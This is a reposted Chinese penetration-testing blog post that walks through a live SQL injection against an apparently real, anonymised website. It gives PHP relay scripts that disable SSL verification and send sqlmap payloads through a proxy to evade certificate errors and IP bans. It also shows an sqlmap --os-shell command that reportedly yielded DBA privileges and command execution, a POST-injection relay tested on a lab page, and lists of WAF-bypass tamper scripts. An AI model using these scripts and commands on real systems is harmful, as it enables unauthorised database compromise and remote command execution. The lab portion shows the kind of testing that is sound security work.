本文转载于https://xz.aliyun.com/t/10385

实战演示

通过前期的信息收集发现存在注入的页面如下:

直接使用sqlmap跑发现出现如下错误:

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&parame=xxxxxx" --batch --delay=1 --random-agent_____H_____ ___["]_____ ___ ___  {1.5.4.7#dev}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 10:12:10 /2021-10-10/
[10.12.10] [INFO] parsing HTTP request from '49'
custom injection marking character ('*') found in option '--data'. Do you want to process it?  [Y/n/q]Y
[10:12:10] [INFO] testing connection to the target URL
[10:12:10] [CRITICAL] can't establish SSL connection

一看无法建立SSL连接,好不容易发现一个注入点,难道就这样放弃了吗?先百度一波,看看SSL证书原理,就用一张图来理解更直接明了。

那么遇到这样的情况要怎么绕呢?在sqlmap中没有绕过SSL证书的参数,思考了很长时间,终于想起来原来貌似有一个中转注入。这里要解决的第一个问题是有哪些脚本语言能够在请求网址时忽略SSL证书,第二个问题是我还需要使用sqlmap中的payload,这两个都要满足,通过查询了解到PHP可以使用参数来忽略SSL证书,由于并不是搞开发的,所以这里还是思考了很长时间,先来理解一下中转注入的原理吧。

中转注入的原理

首先我们我们来分析一下sqlmap中转注入的原理,如下图:

为了让大家更加容易解,先使用简单的脚本演示一遍,演示代码如下:

<?php
$payload=base64_encode($_GET['x']);//对中转脚本接收的参数进行base64编码
echo $payload
$urls="http://xxx/xxxx?q=1$payload";//对请求的网址拼接base64编码的字符串
file_get_contents($urls);//请求目标网站
echo $urls;
?>

网上随便找需一个后面有参数的网站,添加到$urls变量中,将上述代码放在本地服务器中,然后访问,可以看到成功请求到我们添加的网站

使用sqlmap跑一下,设置一下代理使用burp来抓包

python2 sqlmap.py -u "http://127.0.0.1/zhongzhuan.php?x=1"  -v 3 --proxy=http://127.0.0.1:8080

成功看到各种payload


burp抓包的结果

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","/**/",$id);
$id=str_replace("=","%3D",$id); //这些编码机制可以自己的需求设定,毕竟实战的环境变换多样
$url = "http://xxxx?&daxxtae=null&parame=$id";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

此时中转脚本已经写好了,用sqlmap跑,没想到呀,既然流量有限制,就算请求延迟调得很慢,还是直接将我的ip给封了,此时又是一个漫长的过程,又要继续思考了,在sqlmap中有代理设置参数,哈哈哈这都知道,但是试了试一试不可以,一直思考呀,首先我们借助了中转脚本,先请求的是我们的本地服务器,你说外网的代理服务器直接访问我本地服务器这是一个不现实的问题,最主要是我没有公网服务器,不然就好办了,所以现在需要思考两个问题,首先我要用到中转脚本过证书问题,还要能够使用代理,在PHP代码上使用代理池设置。此时sqlmap先请求我们中转脚本(并没有用代理地址),中转脚本借助设置的代理地址迟访问目标网页。
现在代码修改成了如下:

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url = "http://xxxx?&daxxtae=null&parame=$id";
echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_PROXY, 'proxy.xxxx.com'); //代理服务器地址
curl_setopt($ch, CURLOPT_PROXYPORT, '8080'); //代理服务器端口
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

在使用sqlmap跑的时候最好先本地测试一下,经过了20多分钟的扫描终于算是出东西了

直接看一下能否写shell,搞个高危,运气就是这么好

python2 sqlmap.py -u "http://xxxx?&daxxtae=null&param=xxx" --batch --delay=1 --random-agent --os-shell

成功拿到了dba权限

成功执行命令,不过是真的慢,可能是有防护软件原因吧。

在这里问题又来了,要是post型注入又该怎么办呢?上面的脚本似乎不在使用思考了很长时间,但是也没有在实际中遇到,所以这里就想本地尝试一次。

post型中转注入

在注入天书中有post型注入,随便选了一个11关卡,抓取less-11关的包,注入点在登录框这里。

注入点为

uname=admin&passwd=hhh&submit=Submit

构造中转脚本如下:

<?php
$url = "http://192.168.1.104/sqli/Less-11/index.php";
$sql = $_GET[s];//获取中转脚本传过来的payload
$s = urlencode($sql);
$params = "uname=admin$s&passwd=aa";
$ch = curl_init();// 创建一个新cURL资源curl_setopt($ch, CURLOPT_URL, $url);//这是你想用PHP取回的URL地址,可以在用curl_init()函数初始化时设置这个选项
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);//https请求 不验证hosts
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 函数执行如果成功只将结果返回,不自动输出任何内容。如果失败返回FALSE
curl_setopt($ch, CURLOPT_HEADER, 0);//如果你想把一个头包含在输出中,设置这个选项为一个非零值
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)');// 在HTTP请求中自定义一个”user-agent”头的字符串
curl_setopt($ch, CURLOPT_TIMEOUT, 15);//为了应对目标服务器的过载,下线,或者崩溃等可能状况。
curl_setopt($ch, CURLOPT_POST, 1);    // post 提交方式
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
// 抓取URL并把它传递给浏览器
$output = curl_exec($ch);
// 关闭cURL资源,并且释放系统资源
curl_close($ch);
$a = strlen($output);
//echo $a;
if($a==2846){echo "1";
}else{echo "2";
}

使用sqlmap进行注入

首先注入我们的中转脚本

中转脚本通过获取的payload请求目标网站

成功跑出数据库

sqlmap绕过WAF的思路总结

1、设置请求头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

2、设置代理

--proxy=http://127.0.0.1:8080

3、设置延迟

--delay=1

4、利用--tamper参数中的编码脚本
常见编码搭配方式
普通tamper搭配方式:

tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MSSQL的搭配方式:

tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes

数据库为MySql的搭配方式:

tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor

实战sqlmap绕过WAF相关推荐

  1. 【Web安全】实战sqlmap绕过WAF

    前言 随着最近几年安全行业的兴起,市场关注度的不断提升,安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了,没有以前那么多所谓的"靶场"了,在这次的实战中遇到的S ...

  2. 渗透测试-sqlmap绕过WAF脚本编写

    sqlmap绕过WAF脚本编写 文章目录 sqlmap绕过WAF脚本编写 前言 一.什么是sqlmap和tamper脚本 二.利用sqlmap脚本进行扫描获取数据库信息 1.编写sqlmap绕过WAF ...

  3. 实战|简单绕过waf拿下赌博网站

    确定目标 收集信息 x.x.x.x 首先常规测试方法一顿怼,目录扫描,端口扫描,js文件,中间件,指纹识别,反正该上的都上... 随手加个路径,报错了,当看到这个界面我瞬间就有思路了 为什么这么说呢, ...

  4. 第19篇:WEB漏洞~SQL注入~SqlMap绕过WAF

    目录 1. 本文 2. 示例 2.1. 简要其他绕过方式学习 2.1.1. IP 白名单 2.1.2. 静态资源 2.1.3. url 白名单 2.1.4. 爬虫白名单 2.2. FUZZ绕过脚本结合 ...

  5. B站小迪安全笔记第十九天-SQL注入之sqlmap绕过waf

    前言: 在攻防实战中,往往需要掌握一些特性,比如服务器.数据库.应用层.WAF层等,以便我们更灵活地去构造 Payload,从而可以和各种 WAF 进行对抗,甚至绕过安全防御措施进行漏洞利用. 演示案 ...

  6. sqlmap绕过d盾_WEBSHELL免杀绕过WAF思路amp;方法(一)

    本文主要介绍WEBSHELL免杀绕过的思路与方法,网上很多的方法基本都被安全厂家加入了检测规则已经不能免杀,所以我们要了解我们主要对手WAF的检测技术,故基于前人优秀基础上我们需要有能力衍生出免杀马, ...

  7. web渗透测试实战-SQLMAP

    一.实验项目名称 web渗透测试实战-SQLMAP 二.实验目的及要求 熟悉SQL注入漏洞原理 熟悉SQLMAP工具使用. 1.获取数据库信息:数据库漏洞.数据库名.数据库版本等 python sql ...

  8. 过云锁php木马,绕过waf的另类木马文件攻击方法

    很久没写文章了,继上次发先文章到今天已经很久了:很久没写文章了,继上次发先文章到今天已经很久了:今天突发异想:因为之前打了西湖论剑,遇到了宝塔的waf,最后也是过去了,便觉得另类的攻击方法值得写篇文章 ...

  9. 渗透测试-SQL注入之Fuzz绕过WAF

    WAF绕过原理之Fuzz绕过 文章目录 WAF绕过原理之Fuzz绕过 前言 一.什么是Fuzz 二.利用Fuzz绕过WAF获取数据库信息 1.Fuzz绕过方法 2.利用Fuzz绕过WAF获取数据库信息 ...

最新文章

  1. python tcp server分包_如何创建线程池来监听tcpserver包python
  2. mysql update多个字段 逗号 and 的错误例子
  3. python十八:尾调用与递归
  4. 跨境电商自建站后台系统原型rp_外贸业务员和跨境电商运营哪个好,跨境电商可以去哪个网站学...
  5. 阿里云直播PHP SDK如何使用
  6. CodeForces - 1321E World of Darkraft: Battle for Azathoth(二维偏序+线段树)
  7. 解决WORDPRESS评论时头像不显示的问题
  8. Android开发之打开QQ聊天页面的方法
  9. 回文串判断(string类:反转reverse)
  10. 用鸿蒙取名好吗,“鸿蒙”两个字,还是古人写得好看…
  11. loadrunner录制脚本为空的情况
  12. JavaScript红宝书、犀牛书(2本)简介
  13. example包下载
  14. java rx3x_GitHub - xkm123/oss-sdk-java: java sdk for oss
  15. 安装微软的消息队列服务器,MSMQ消息队列的安装、启用
  16. 麻省理工学院计算机硕士几年制,2020年麻省理工学院硕士读几年
  17. 超声波无线充电电动牙刷方案开发设计
  18. 他是第一个因人脸识别错误被关监狱的人,证据仅仅是1张驾照照片
  19. 操作系统——PV操作
  20. linux系统读取plc状态,Linux系统下上位机通讯协议及PLC冗余系统组态-工业支持中心-西门子中国...

热门文章

  1. 亿佰特物联网无线模块通信技术分析
  2. java构造函数重载继承_Java基础-继承 - 写代码换盆的个人空间 - OSCHINA - 中文开源技术交流社区...
  3. 蓝桥杯基础模块9:IO口扩展与存储器映射
  4. python 语音识别机器人控制系统_python实现百度语音识别api
  5. 国计算机学会聘为全国青少年信,中国计算机学会将继续开展NOI相关活动,暂未作出重新申报的决议...
  6. linux设置默认的首页文件,Linux 设置Firefox主页
  7. 深度linux更新卡,深度操作系统已发布更新 新增“ apt-get custom-update”命令行
  8. Linux微信运行错误,Ubuntu 16.04 运行微信开发者工具编译出错的解决办法
  9. springboot 注解动态赋值_SpringBoot 使用 @Value 注解读取配置文件给静态变量赋值
  10. dart和python哪个好_RedMonk 2020 年 Q1 编程语言排行:Python 冲进前二,Dart 值得关注...